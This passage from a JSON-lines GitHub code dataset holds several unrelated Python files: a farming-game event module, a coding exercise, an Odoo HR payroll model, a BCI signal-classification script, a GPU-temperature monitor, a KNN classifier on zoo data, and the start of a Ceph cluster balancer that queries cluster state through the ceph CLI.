fn3, fn4]).start()\n\n\ndef shipping(context: Context) -> CallbackNode | None:\n    \"\"\"\n    Ships all products in the shipping chest.\n    \"\"\"\n    shipping_chest: Chest = context[\"shipping_chest\"]\n\n    shipped_products: Dict[int, int] = {}\n    for game_item in shipping_chest.item_list:\n        if game_item is None:\n            continue\n\n        item_ref = Registries.Item.get_ref_by_res(game_item.item)\n        loc = item_ref.res_key.loc\n        path = loc.path\n        if not path.startswith(\"product/\"):\n            continue\n\n        # Get product\n        product_name = path[8:]\n        product_ref = Registries.Product.get_ref(RegistryUtil.createLoc(product_name))\n        product_id: int = product_ref.get_id()\n\n        # Aggregate\n        number_product = game_item.stack\n        if product_id in shipped_products:\n            shipped_products[product_id] += number_product\n        else:\n            shipped_products[product_id] = number_product\n\n    # Calculate total price\n    total_price: int = 0\n    str_list: List[str] = []\n    for product_id, number_product in shipped_products.items():\n        product: Product = Registries.Product.by_id[product_id].res\n        sell_price = product.price // 2\n        total_price += sell_price * number_product\n        str_list.append(\n            f\"  {product.item.name} - ${sell_price}\"\n            f\" * {number_product} = ${sell_price * number_product}\"\n        )\n\n    if total_price == 0:\n        return None\n\n    # Update money\n    data_window = get_data_window(context)\n    data_window.money += total_price\n\n    # Clear all items in the chest\n    item_list = shipping_chest.item_list\n    for i in range(len(item_list)):\n        item_list[i] = None\n\n    # Display price using message box\n    message_box = get_message_box(context)\n\n    return message_box.play(\n        f\"You have shipped the following products:\\n\"\n        + \"\\n\".join(str_list)\n        + f\"\\nYou earned ${total_price}!\",\n    )\n\n\ndef character_harvest_crop(context: Context) -> bool:\n    \"\"\"\n    Character harvests a crop.\n    \"\"\"\n    character = get_character(context)\n    coordinate = character.get_coordinate()\n    scene_manager = get_scene_manager(context)\n\n    if not scene_manager.is_map(Maps.Farm):\n        return False\n\n    crop_grid = get_crop_grid(context)\n    game_crop: GameCrop | None = crop_grid.get(coordinate)\n    if game_crop is None:\n        return False\n\n    if game_crop.stage != Crop.Stage.Ripening:\n        # Not yet ripen\n        return False\n\n    # Harvest logic\n    # Remove the crop from the crop grid; update the crop layer\n    farm_map: FarmMap = scene_manager.controller.map\n    crop_grid.set(coordinate, None)\n    farm_map.crop.wipe_cell(coordinate)\n    farm_map.crop.update_cell(coordinate, None)\n\n    # Update character hotbar\n    hotbar = get_hotbar(context)\n    hotbar.chest.stack_item(game_crop.crop.product.item)\n\n    # First time to harvest\n    if context[\"flag.first_time_to_harvest\"]:\n        context[\"flag.first_time_to_harvest\"] = False\n        message_box = get_message_box(context)\n        message_box.play(\n            \"You harvested your first crop!\\n\"\n            \"You can put crop products to the chest in the farm.\\n\"\n            \"All products will be shipped to town overnight,\\n\"\n            \"and they will pay you.\\n\"\n        )\n\n\ndef character_key_up(context: Context):\n    \"\"\"\n    Player presses key up when they control the character.\n    \"\"\"\n    key = context.event_data.get(\"key\")\n    character: Character = context[\"character\"]\n\n    # Yield to the message box\n    message_box: MessageBox = get_message_box(context)\n    if message_box.is_displayed():\n        return\n\n    direction = map_key_to_direction(key)\n    if direction is not None:\n        character.stop(direction)\n\n\ndef update_character(context: Context):\n    \"\"\"\n    Updates character's position.\n    \"\"\"\n    character: Character = context[\"character\"]\n    character.update()\n","repo_name":"typinghare/oopl-bhcc-capstone","sub_path":"src/world/events/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":19048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"7545191226","text":"# 2.4\n# str = input()\n# str = str.upper()\n# n = 0\n# cnt = len(str)\n# for i in str:\n#     if (i == 'C' or i == 'G'):\n#         n = n+1\n# print((n/cnt)*100)\n\nstrn = input()\nres = ''\nres1 = ''\na = 0\nb = 1\nstrn = strn + '*******************************************'\nwhile (a < len(strn)-1):\n    res1 = 1\n    res = res + strn[a]\n    if strn[a]!='*':\n         while (strn[a]==strn[a+1]):\n             res1+=1\n             a+=1\n    else: break\n    res = res + str(res1)\n    a += 1\nprint(res[:len(res)-1])\n\n\n","repo_name":"MStryapchiy/stepik-python-course-solutions","sub_path":"2_4.py","file_name":"2_4.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"2583749848","text":"# -*- coding: utf-8 -*-\n\n\nfrom osv import fields, orm\n\n\n\nclass hr_variavel_folha(orm.Model):\n    _name = 'hr.variavel.folha'\n    _description = u'Guarda o cabeçalho dos itens variaveis para o calculo de salário'\n    _order = 'data_final_periodo desc,data_inicio_periodo desc'\n\n    _columns = {\n       'contract_id': fields.many2one('hr.contract', u'Nº matrícula'),\n       'data_inicio_periodo': fields.date(u'Data do início período'),\n       'data_final_periodo': fields.date(u'Data do final período'),\n       'variavel_folha_item_ids': fields.one2many('hr.variavel.folha.item', 'variavel_folha_id', string=u'Itens variáveis'),\n    }\n\n    def buscar_rubricas(self, cr, uid, ids, context=None):\n        for variavel_folha_obj in self.browse(cr, uid, ids):\n            contrato_obj = variavel_folha_obj.contract_id\n            estrutura_salario_obj = contrato_obj.struct_id\n\n            for regra_salario_obj in estrutura_salario_obj.rule_ids:\n                if regra_salario_obj.manual:\n                    dados = {\n                        'variavel_folha_id': variavel_folha_obj.id,\n                        'salary_rule_id': regra_salario_obj.id,\n                        'valor_da_regra': 0,\n                    }\n                    self.pool.get('hr.variavel.folha.item').create(cr, uid, dados)\n\n\nhr_variavel_folha()\n\n\nclass hr_variavel_folha_item(orm.Model):\n    _name = 'hr.variavel.folha.item'\n    _description = u'Guarda os itens variaveis do calculo de salário'\n    _order = 'variavel_folha_id, sequence'\n\n    _columns = {\n       'variavel_folha_id': fields.many2one('hr.variavel.folha', u'Nº matrícula'),\n       'valor_da_regra': fields.float(u'Valor da Lançamento (Horas / Valor / Qtde)', digits=(8, 2)),\n       'salary_rule_id': fields.many2one('hr.salary.rule', u'Rubricas para Lançamento'),\n       'sequence': fields.related('salary_rule_id', 'sequence', type='integer', string=u'Sequência', store=True),\n       'code': fields.related('salary_rule_id', 'code', type='char', string=u'Código'),\n    }\n\n\nhr_variavel_folha_item()","repo_name":"danimaribeiro/odoo-erp","sub_path":"integra/integra_rh/models/hr_contract_variavel.py","file_name":"hr_contract_variavel.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"12794704785","text":"from scipy import signal\nfrom scipy.fftpack import fft\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.cross_decomposition import CCA\n\n\ndef pre_data(input_dataset, channel_number):  # 数据预处理\n    output_data = []\n    for i in range(len(channel_number)):\n        input_data = input_dataset[:,channel_number[i]]\n        input_data = input_data - np.mean(input_data)\n\n        b, a = signal.butter(8, [0.04, 0.32], \"bandpass\")\n        filted_data = signal.filtfilt(b, a, input_data)\n        b, a = signal.butter(8, [0.36, 0.44], \"bandstop\")\n        filted_data = signal.filtfilt(b, a, filted_data)\n\n        output_data.append(filted_data)\n    return np.array(output_data).T\n\n\ndef gen_template(fre_list, t_linspace):\n    output_list = []\n    for i in range(len(fre_list)):\n        temp = [np.sin(2 * np.pi * fre_list[i] * t_linspace), np.sin(2 * np.pi * 2 * fre_list[i] * t_linspace),\n                np.cos(2 * np.pi * fre_list[i] * t_linspace), np.cos(2 * np.pi * 2 * fre_list[i] * t_linspace)]\n        temp = np.array(temp).T\n        output_list.append(temp)\n    return output_list\n\n\ndef cca_classification(X, Y_list):\n    corr = []\n    for i in range(len(Y_list)):\n        Y = Y_list[i]\n        cca = CCA(n_components=1)  # 建立模型，计算第一主成分\n        cca.fit(X, Y)  # 训练\n        X_train_r, Y_train_r = cca.transform(X, Y)  # 得到X和Y降维后的数据\n        corr.append(np.corrcoef(X_train_r[:, 0], Y_train_r[:, 0])[0, 1])  # 输出相关系数，[:, 0]中0代表第一主成分\n    return corr\n\n\nfs = 250  # 采样频率\noffset = 20 * fs  # 起始时间\ngap = 2  # 时间间隔\nchannel_num = [0, 1, 2]  # 通道编号\nt = np.linspace(0, gap, gap * fs)  # 时轴\n\ndataset = pd.read_excel(\"./data121_output.xlsx\")\ndataset = dataset.values\ndataset = dataset[offset:offset + len(t), :]\ndata = pre_data(dataset, channel_num)  # 生成数据\n\nft = np.linspace(10, 20, 50)\ntemplate = gen_template(ft, t)  # 生成模板列表\n\ncorr_list = cca_classification(data,template)\nprint(max(corr_list))\nindex = corr_list.index(max(corr_list))\nprint(ft[index])\n\n","repo_name":"lipervol/BCI_Coding","sub_path":"MyBCI/cca/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"23759090820","text":"'''\n    nvidia-smi -q -a\n'''\nimport subprocess\nimport re\nimport numpy as np\nimport time\n\ndef run_command(command):\n    p = subprocess.Popen(command,\n                         stdout=subprocess.PIPE,\n                         stderr=subprocess.STDOUT)\n    return iter(p.stdout.readline, b'')\n\ndef print_gpu_info():\n    command = 'nvidia-smi -q'.split()\n    temps = []\n    for line in run_command(command):\n        txt = str(line)\n        print(txt)\n            \ndef get_gpu_temps():\n    command = 'nvidia-smi -q'.split()\n    temps = []\n    for line in run_command(command):\n        txt = str(line)\n        if 'GPU Current Temp' in txt:   \n            temp = int(re.findall(r'\\d+', txt)[0])\n            temps.append(temp)\n\n    return np.array(temps)\n\ndef is_temp_safe(threshold=88, sleep=5):\n    temps = get_gpu_temps()\n    safe = (temps < threshold).all()\n    \n    if safe:\n        #print(\"GPU temperatures are safe:\", temps)\n        pass\n    else:\n        print(f\"GPUs too hot! sleeping {sleep}s...\", temps)\n        time.sleep(sleep)\n        \n    return safe","repo_name":"harvard-visionlab/open_ipcl","sub_path":"lib/gpu.py","file_name":"gpu.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"79"}
+{"seq_id":"31531321173","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Nov  5 22:23:10 2022\r\n\r\n@author: Dell\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndf=pd.read_csv(\"Zoo.csv\")\r\ndf.head()\r\ndf.shape\r\n\r\n#droping the first column \r\ndf.drop([\"animal name\"],axis=1,inplace=True)\r\ndf\r\ndf.shape\r\ndf.info()\r\n#spliting\r\nX=df.iloc[:,0:16]\r\nX.columns\r\nX.corr()\r\nY=df[\"type\"]\r\n\r\n#there is relation btw hair,eggs,milk.....\r\nX1=df.drop(df.columns[[0,2,16]],axis=1)\r\nX1.columns\r\nY=df[\"type\"]\r\n\r\n\r\n#Standidization\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nMM=MinMaxScaler()\r\n\r\nX=MM.fit_transform(X)\r\nX=pd.DataFrame(X)\r\n\r\nX1=MM.fit_transform(X1)\r\nX1=pd.DataFrame(X1)\r\n\r\n\r\n#model 1 fitting using X..\r\n\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nKNN=KNeighborsClassifier(n_neighbors=5)\r\nKNN.fit(X,Y)\r\nY_pred=KNN.predict(X)\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nac1=accuracy_score(Y,Y_pred)\r\n\r\n#accuracy score= 95%\r\n#There should be over fitting\r\n\r\n################################################################\r\n#model  2 fitting using X1..\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nKNN=KNeighborsClassifier(n_neighbors=5)\r\nKNN.fit(X1,Y)\r\nY_pred=KNN.predict(X1)\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nac2=accuracy_score(Y,Y_pred)\r\n\r\n#accuracy score= 94%\r\n\r\n\r\n","repo_name":"syedsarfarazpasha/python-codes","sub_path":"KNN on Zoo data.py","file_name":"KNN on Zoo data.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26847756788","text":"#!/usr/bin/env python3\n\n\"\"\"\nCeph balancer.\n\n(c) 2020-2022 Jonas Jelten <jj@sft.lol>\nGPLv3 or later\n\"\"\"\n\n# some future TODOs to include in the optimization:\n# maximum movement limits\n# recommendations for pg num\n# respect OMAP_BYTES and OMAP_KEYS for a pg\n# don't touch a pool with decreasing pg_num\n# a new mode that tries to eliminate upmap_items\n# when considering an OSD for emptying, try pending PGs first\n# ability to select pgs explicitly for better placement (move a backfill_tofull pg somewhere else)\n\n# even \"better\" algorithm:\n# get osdmap and crushmap\n# calculate constraints weighted by device\n# get current utilization weighted by device\n# create z3 equation using these constraints\n# transform result to upmap items\n\n\nimport argparse\nimport itertools\nimport json\nimport logging\nimport lzma\nimport shlex\nimport statistics\nimport subprocess\nimport datetime\nfrom collections import defaultdict\nfrom functools import lru_cache\nfrom pprint import pformat, pprint\n\n\ncli = argparse.ArgumentParser()\n\ncli.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0,\n                 help=\"increase program verbosity\")\ncli.add_argument(\"-q\", \"--quiet\", action=\"count\", default=0,\n                 help=\"decrease program verbosity\")\n\nsp = cli.add_subparsers(dest='mode')\nsp.required=True\n\nstatep = argparse.ArgumentParser(add_help=False)\nstatep.add_argument(\"--state\", \"-s\", help=\"load cluster state from this jsonfile\")\n\ngathersp = sp.add_parser('gather', help=\"only gather cluster information, i.e. generate a state file\")\ngathersp.add_argument(\"output_file\", help=\"file to store cluster balancing information to\")\n\nshowsp = sp.add_parser('show', parents=[statep])\nshowsp.add_argument('--only-crushclass',\n                    help=\"only display devices of this crushclass\")\nshowsp.add_argument('--sort-shardsize', action='store_true',\n                    help=\"sort the pool overview by shardsize\")\nshowsp.add_argument('--osds', action='store_true',\n                    help=\"show info about all the osds instead of just the pool overview\")\nshowsp.add_argument('--format', choices=['plain', 'json'], default='plain',\n                    help=\"output formatting: plain or json. default: %(default)s\")\nshowsp.add_argument('--pgstate', choices=['up', 'acting'], default='acting',\n                    help=\"which PG state to consider: up (planned) or acting (active). default: %(default)s\")\nshowsp.add_argument('--per-pool-count', action='store_true',\n                    help=\"in text formatting mode, show how many pgs for each pool are mapped\")\nshowsp.add_argument('--normalize-pg-count', action='store_true',\n                    help=\"normalize the pg count by disk size\")\nshowsp.add_argument('--sort-pg-count', type=int,\n                    help=\"sort osds by pg count of given pool id\")\nshowsp.add_argument('--sort-utilization', action='store_true',\n                    help=\"sort osds by utilization\")\nshowsp.add_argument('--use-weighted-utilization', action='store_true',\n                    help=\"calculate osd utilization by weighting device size\")\nshowsp.add_argument('--use-shardsize-sum', action='store_true',\n                    help=\"calculate osd utilization by adding all PG shards on it\")\nshowsp.add_argument('--osd-fill-min', type=int, default=0,\n                    help='minimum fill %% to show an osd, default: %(default)s%%')\n\nremappsp = sp.add_parser('showremapped', parents=[statep])\nremappsp.add_argument('--by-osd', action='store_true',\n                      help=\"group the results by osd\")\nremappsp.add_argument('--osds',\n                      help=\"only look at these osds when using --by-osd, comma separated\")\n\nbalancep = sp.add_parser('balance', parents=[statep])\nbalancep.add_argument('--max-pg-moves', '-m', type=int, default=10,\n                      help='maximum number of pg movements to find, default: %(default)s')\nbalancep.add_argument('--only-pool',\n                      help='comma separated list of pool names to consider for balancing')\nbalancep.add_argument('--only-poolid',\n                      help='comma separated list of pool ids to consider for balancing')\nbalancep.add_argument('--only-crushclass',\n                      help='comma separated list of crush classes to balance')\nbalancep.add_argument('--osdused', choices=[\"delta\", \"shardsum\"], default=\"shardsum\",\n                      help=('how is the osd usage predicted? default: %(default)s. '\n                            \"delta=adjusting the osd usage report by pending pg deltas, more accurate but doesn't account pending data deletion. \"\n                            \"shardsum=estimate the usage by summing up all pg shardsizes, doesn't account PG metadata.\"))\nbalancep.add_argument('--pg-size-choice', choices=['largest', 'median', 'auto'],\n                      default='largest',\n                      help=('method to select a PG move candidate on a OSD based on its size. '\n                            'auto tries to determine the best PG size by looking at '\n                            'the currently emptiest OSD. '\n                            'default: %(default)s'))\nbalancep.add_argument('--ensure-optimal-moves', action='store_true',\n                      help='make sure that only movements which win full shardsizes are done')\nbalancep.add_argument('--ensure-variance-decrease', action='store_true',\n                      help='make sure that only movements which decrease the fill rate variance are performed')\nbalancep.add_argument('--osdsize', choices=['device', 'weighted', 'crush'], default=\"crush\",\n                      help=\"what parameter to take for determining the osd size. weighted=devsize*weight, crush=crushweight*weight\")\nbalancep.add_argument('--max-full-move-attempts', type=int, default=1,\n                      help=\"when the fullest osd can't be emptied more, \"\n                           \"try this many more osds in descending fullness order.\")\nbalancep.add_argument('--source-osds',\n                      help=\"only consider these osds as movement source, separated by ','\")\n\npooldiffp = sp.add_parser('poolosddiff', parents=[statep])\npooldiffp.add_argument('--pgstate', choices=['up', 'acting'], default=\"acting\",\n                       help=\"what pg set to take, up or acting (default acting).\")\npooldiffp.add_argument('pool1',\n                       help=\"use this pool for finding involved osds\")\npooldiffp.add_argument('pool2',\n                       help=\"compare to this pool which osds are involved\")\n\nargs = cli.parse_args()\n\n\ndef log_setup(setting, default=1):\n    \"\"\"\n    Perform setup for the logger.\n    Run before any logging.log thingy is called.\n\n    if setting is 0: the default is used, which is WARNING.\n    else: setting + default is used.\n    \"\"\"\n\n    levels = (logging.ERROR, logging.WARNING, logging.INFO,\n              logging.DEBUG, logging.NOTSET)\n\n    factor = clamp(default + setting, 0, len(levels) - 1)\n    level = levels[factor]\n\n    logging.basicConfig(level=level, format=\"[%(asctime)s] %(message)s\")\n    logging.captureWarnings(True)\n\n\ndef clamp(number, smallest, largest):\n    \"\"\" return number but limit it to the inclusive given value range \"\"\"\n    return max(smallest, min(number, largest))\n\n\nlog_setup(args.verbose - args.quiet)\n\n\nclass strlazy:\n    \"\"\"\n    to be used like this: logging.debug(\"rolf %s\", strlazy(lambda: do_something()))\n    so do_something is only called when the debug message is actually printed\n    do_something could also be an f-string.\n    \"\"\"\n    def __init__(self, fun):\n        self.fun = fun\n    def __str__(self):\n        return self.fun()\n\n\ndef jsoncall(cmd, swallow_stderr=False):\n    if not isinstance(cmd, list):\n        raise ValueError(\"need cmd as list\")\n    stderrval = subprocess.DEVNULL if swallow_stderr else None\n    rawdata = subprocess.check_output(cmd, stderr=stderrval)\n    return json.loads(rawdata.decode())\n\n\ndef pformatsize(size_bytes, commaplaces=1):\n    prefixes = ((1, 'K'), (2, 'M'), (3, 'G'), (4, 'T'), (5, 'P'), (6, 'E'), (7, 'Z'))\n    for exp, name in prefixes:\n        if abs(size_bytes) >= 1024 ** exp and abs(size_bytes) < 1024 ** (exp + 1):\n            new_size = size_bytes / 1024 ** exp\n            fstring = \"%%.%df%%s\" % commaplaces\n            return fstring % (new_size, name)\n\n    return \"%.1fB\" % size_bytes\n\n\n# to detect if imported state files are outdated\nSTATE_VERSION = 1\n\n# use cluster state from a file\nif args.mode != \"gather\" and args.state:\n    logging.info(f\"loading cluster state from file {args.state}...\")\n    with lzma.open(args.state) as hdl:\n        CLUSTER_STATE = json.load(hdl)\n\n    import_version = CLUSTER_STATE['stateversion']\n    if import_version != STATE_VERSION:\n        raise Exception(f\"imported file stores state in version {import_version}, but we need {STATE_VERSION}\")\n\nelse:\n    logging.info(f\"gathering cluster state via ceph api...\")\n    # this is shitty: this whole script depends on these outputs,\n    # but they might be inconsistent, if the cluster had changes\n    # between calls....\n    # it would be really nice if we could \"start a transaction\"\n\n    # ceph pg dump always echoes \"dumped all\" on stderr, silence that.\n    CLUSTER_STATE = dict(\n        stateversion=STATE_VERSION,\n        timestamp=datetime.datetime.now().isoformat(),\n        versions=jsoncall(\"ceph versions --format=json\".split()),\n        health_detail=jsoncall(\"ceph health detail --format=json\".split()),\n        osd_dump=jsoncall(\"ceph osd dump --format json\".split()),\n        pg_dump=jsoncall(\"ceph pg dump --format json\".split(), swallow_stderr=True),\n        osd_df_dump=jsoncall(\"ceph osd df --format json\".split()),\n        osd_df_tree_dump=jsoncall(\"ceph osd df tree --format json\".split()),\n        df_dump=jsoncall(\"ceph df detail --format json\".split()),\n        pool_dump=jsoncall(\"ceph osd pool ls detail --format json\".split()),\n        crush_dump=jsoncall(\"ceph osd crush dump --format json\".split()),\n        crush_class_osds=dict(),\n    )\n\n    crush_classes = jsoncall(\"ceph osd crush class ls --format json\".split())\n    for crush_class in crush_classes:\n        class_osds = jsoncall(f\"ceph osd crush class ls-osd {crush_class} --format json\".split())\n        CLUSTER_STATE[\"crush_class_osds\"][crush_class] = class_osds\n\n    # check if the osdmap version changed meanwhile\n    # => we'd have inconsistent state\n    if CLUSTER_STATE['osd_dump']['epoch'] != jsoncall(\"ceph osd dump --format json\".split())['epoch']:\n        raise Exception(\"Cluster topology changed during information gathering (e.g. a pg changed state). \"\n                        \"Wait for things to calm down and try again\")\n\n\n# to dump the state\nif args.mode == 'gather':\n    logging.info(f\"cluster state dumped. now saving to {args.output_file}...\")\n    with lzma.open(args.output_file, \"wt\") as hdl:\n        json.dump(CLUSTER_STATE, hdl, indent='\\t')\n\n    logging.warn(f\"cluster state saved to {args.output_file}\")\n    exit(0)\n\n\npools = dict()                        # poolid => props\npoolnames = dict()                    # poolname => poolid\ncrushrules = dict()                   # ruleid => props\ncrushclass_osds = defaultdict(set)    # crushclass => osdidset\ncrushclasses_usage = dict()           # crushclass => percent_used\nosd_crushclass = dict()               # osdid => crushclass\nmaxpoolnamelen = 0\nmaxcrushclasslen = 0\n\n\nfor crush_class, class_osds in CLUSTER_STATE[\"crush_class_osds\"].items():\n\n    crushclass_osds[crush_class].update(class_osds)\n    for osdid in class_osds:\n        osd_crushclass[osdid] = crush_class\n\n    if len(crush_class) > maxcrushclasslen:\n        maxcrushclasslen = len(crush_class)\n\n    # there's more stats, but raw is probably ok\n    class_df_stats = CLUSTER_STATE[\"df_dump\"][\"stats_by_class\"][crush_class]\n    crushclasses_usage[crush_class] = class_df_stats[\"total_used_raw_ratio\"] * 100\n\n\nfor pool in CLUSTER_STATE[\"osd_dump\"][\"pools\"]:\n    id = pool[\"pool\"]\n    name = pool[\"pool_name\"]\n\n    pools[id] = {\n        'name': name,\n        'crush_rule': pool[\"crush_rule\"],\n        'pg_num': pool[\"pg_num\"],  # current pgs before merge\n        'pgp_num': pool[\"pg_placement_num\"],  # actual placed pg count\n        'pg_num_target': pool[\"pg_num_target\"],  # target pg num\n        'size': pool[\"size\"],\n        'min_size': pool[\"min_size\"],\n    }\n\n    if len(name) > maxpoolnamelen:\n        maxpoolnamelen = len(name)\n\n    poolnames[name] = id\n\n# current crush placement overrides\n# map pgid -> [(from, to), ...]\nupmap_items = dict()\nfor upmap_item in CLUSTER_STATE[\"osd_dump\"][\"pg_upmap_items\"]:\n    remaps = list()\n    for remap in upmap_item[\"mappings\"]:\n        remaps.append((remap[\"from\"], remap[\"to\"]))\n\n    upmap_items[upmap_item[\"pgid\"]] = list(sorted(remaps))\n\n\nec_profiles = dict()\nfor ec_profile, ec_spec in CLUSTER_STATE[\"osd_dump\"][\"erasure_code_profiles\"].items():\n    ec_profiles[ec_profile] = {\n        \"data_chunks\": int(ec_spec[\"k\"]),\n        \"coding_chunks\": int(ec_spec[\"m\"]),\n    }\n\n\nfor pool in CLUSTER_STATE[\"df_dump\"][\"pools\"]:\n    id = pool[\"id\"]\n    pools[id].update({\n        \"stored\": pool[\"stats\"][\"stored\"],  # actually stored data\n        \"objects\": pool[\"stats\"][\"objects\"],  # number of pool objects\n        \"used\": pool[\"stats\"][\"bytes_used\"],  # including redundant data\n        \"store_avail\": pool[\"stats\"][\"max_avail\"],  # available storage amount\n        \"percent_used\": pool[\"stats\"][\"percent_used\"],\n        \"quota_bytes\": pool[\"stats\"][\"quota_bytes\"],\n        \"quota_objects\": pool[\"stats\"][\"quota_objects\"],\n    })\n\n\nfor pool in CLUSTER_STATE[\"pool_dump\"]:\n    id = pool[\"pool_id\"]\n    ec_profile = pool[\"erasure_code_profile\"]\n\n    pg_shard_size_avg = pools[id][\"stored\"] / pools[id][\"pg_num\"]\n\n    if ec_profile:\n        pg_shard_size_avg /= ec_profiles[ec_profile][\"data_chunks\"]\n\n    pools[id].update({\n        \"erasure_code_profile\": ec_profile,\n        \"repl_type\": \"ec\" if ec_profile else \"repl\",\n        \"pg_shard_size_avg\": pg_shard_size_avg\n    })\n\n\nfor rule in CLUSTER_STATE[\"crush_dump\"][\"rules\"]:\n    id = rule['rule_id']\n    name = rule['rule_name']\n    steps = rule['steps']\n\n    crushrules[id] = {\n        'name': name,\n        'steps': steps,\n    }\n\n\ndef list_replace(iterator, search, replace):\n    ret = list()\n    for elem in iterator:\n        if elem == search:\n            elem = replace\n        ret.append(elem)\n    return ret\n\n\ndef pool_from_pg(pg):\n    return int(pg.split(\".\")[0])\n\n\n@lru_cache(maxsize=2**17)\ndef pg_ec_profile(pg):\n    pool_id = pool_from_pg(pg)\n    pool = pools[pool_id]\n    return pool[\"erasure_code_profile\"]\n\n\n@lru_cache(maxsize=2**17)\ndef pg_is_ec(pg):\n    pool_id = pool_from_pg(pg)\n    pool = pools[pool_id]\n    return pool[\"repl_type\"] == \"ec\"\n\n\ndef get_remaps(pginfo):\n    \"\"\"\n    given the pginfo structure, compare up and acting sets\n    return which osds are source and target for pg movements.\n\n    return [((osd_from, ...), (osd_to, ..)), ...]\n    \"\"\"\n    up_osds = list_replace(pginfo[\"up\"], 0x7fffffff, -1)\n    acting_osds = list_replace(pginfo[\"acting\"], 0x7fffffff, -1)\n\n    is_ec = pg_is_ec(pginfo[\"pgid\"])\n\n    moves = list()\n    if is_ec:\n        for up_osd, acting_osd in zip(up_osds, acting_osds):\n            if up_osd != acting_osd:\n                moves.append(((acting_osd,), (up_osd,)))\n    else:\n        ups = set(up_osds)\n        actings = set(acting_osds)\n        from_osds = actings - ups\n        to_osds = ups - actings\n\n        moves.append(\n            (\n                tuple(sorted(from_osds)),\n                tuple(sorted(to_osds)),\n            )\n        )\n\n    return moves\n\n\n# map osd -> pgs on it\nosd_mappings = defaultdict(\n    lambda: {'up': set(), 'primary': set(), 'acting': set()}\n)\n\n# map pg -> osds involved\npg_osds_up = defaultdict(set)\npg_osds_acting = defaultdict(set)\n\n# osdid => {to: {pgid -> osdid}, from: {pgid -> osdid}}\nosd_actions = defaultdict(lambda: defaultdict(dict))\n\n# pg metadata\n# pgid -> pg dump pgstats entry\npgs = dict()\n\nfor pginfo in CLUSTER_STATE[\"pg_dump\"][\"pg_map\"][\"pg_stats\"]:\n    if pginfo[\"state\"] in (\"unknown\",):\n        # skip pgs with no active osds\n        continue\n\n    pgid = pginfo[\"pgid\"]\n    up = pginfo[\"up\"]\n    acting = pginfo[\"acting\"]\n    primary = acting[0]\n\n    pg_osds_up[pgid] = up\n    pg_osds_acting[pgid] = acting\n\n    osd_mappings[primary]['primary'].add(pgid)\n\n    for osd in up:\n        osd_mappings[osd]['up'].add(pgid)\n    for osd in acting:\n        osd_mappings[osd]['acting'].add(pgid)\n\n    # track all remapped pgs\n    pgstate = pginfo[\"state\"].split(\"+\")\n    if \"remapped\" in pgstate:\n        for osds_from, osds_to in get_remaps(pginfo):\n            for osd_from, osd_to in zip(osds_from, osds_to):\n                osd_actions[osd_from][\"to\"][pgid] = osd_to\n                osd_actions[osd_to][\"from\"][pgid] = osd_from\n\n    pgs[pgid] = pginfo\n\n\nosds = dict()\n\nfor osd in CLUSTER_STATE[\"osd_df_dump\"][\"nodes\"]:\n    id = osd[\"id\"]\n    osds[id] = {\n        \"device_size\": osd[\"kb\"] * 1024,\n        \"device_used\": osd[\"kb_used\"] * 1024,\n        \"device_used_data\": osd[\"kb_used_data\"] * 1024,\n        \"device_used_meta\": osd[\"kb_used_meta\"] * 1024,\n        \"device_available\": osd[\"kb_avail\"] * 1024,\n        \"utilization\": osd[\"utilization\"],\n        \"crush_weight\": osd[\"crush_weight\"],\n        \"status\": osd[\"status\"],\n    }\n\n\n# osds used by a pool:\n# pool_id -> {osdid}\npool_osds_up = defaultdict(set)\npool_osds_acting = defaultdict(set)\n\n# gather which pgs are on what osd\n# and which pools have which osds\nfor osdid, osd in osd_mappings.items():\n    osd_pools_up = set()\n    osd_pools_acting = set()\n\n    pgs_up = set()\n    pgs_acting = set()\n\n    pg_count_up = defaultdict(int)\n    pg_count_acting = defaultdict(int)\n\n    for pg in osd['up']:\n        poolid = int(pg.split('.', maxsplit=1)[0])\n        osd_pools_up.add(poolid)\n        pgs_up.add(pg)\n\n        pg_count_up[poolid] += 1\n        pool_osds_up[poolid].add(osdid)\n\n    for pg in osd['acting']:\n        poolid = int(pg.split('.', maxsplit=1)[0])\n        osd_pools_acting.add(poolid)\n        pgs_acting.add(pg)\n\n        pg_count_acting[poolid] += 1\n        pool_osds_acting[poolid].add(osdid)\n\n    if osdid == 0x7fffffff:\n        # the \"missing\" osds\n        continue\n\n    osds[osdid].update({\n        'pools_up': list(sorted(osd_pools_up)),\n        'pools_acting': list(sorted(osd_pools_acting)),\n        'pg_count_up': pg_count_up,\n        'pg_count_acting': pg_count_acting,\n        'pg_num_up': len(pgs_up),\n        'pgs_up': pgs_up,\n        'pg_num_acting': len(pgs_acting),\n        'pgs_acting': pgs_acting,\n    })\n\n\nfor osd in CLUSTER_STATE[\"osd_dump\"][\"osds\"]:\n    osdid = osd[\"osd\"]\n    crushclass = osd_crushclass.get(osdid)\n\n    osds[osdid].update({\n        \"weight\": osd[\"weight\"],\n        \"cluster_addr\": osd[\"cluster_addr\"],\n        \"public_addr\": osd[\"public_addr\"],\n        \"state\": tuple(osd[\"state\"]),\n        'crush_class': crushclass,\n    })\n\n\n# create the crush trees\nbuckets = CLUSTER_STATE[\"crush_dump\"][\"buckets\"]\n\n# bucketid -> bucket dict\nbucket_ids_tmp = 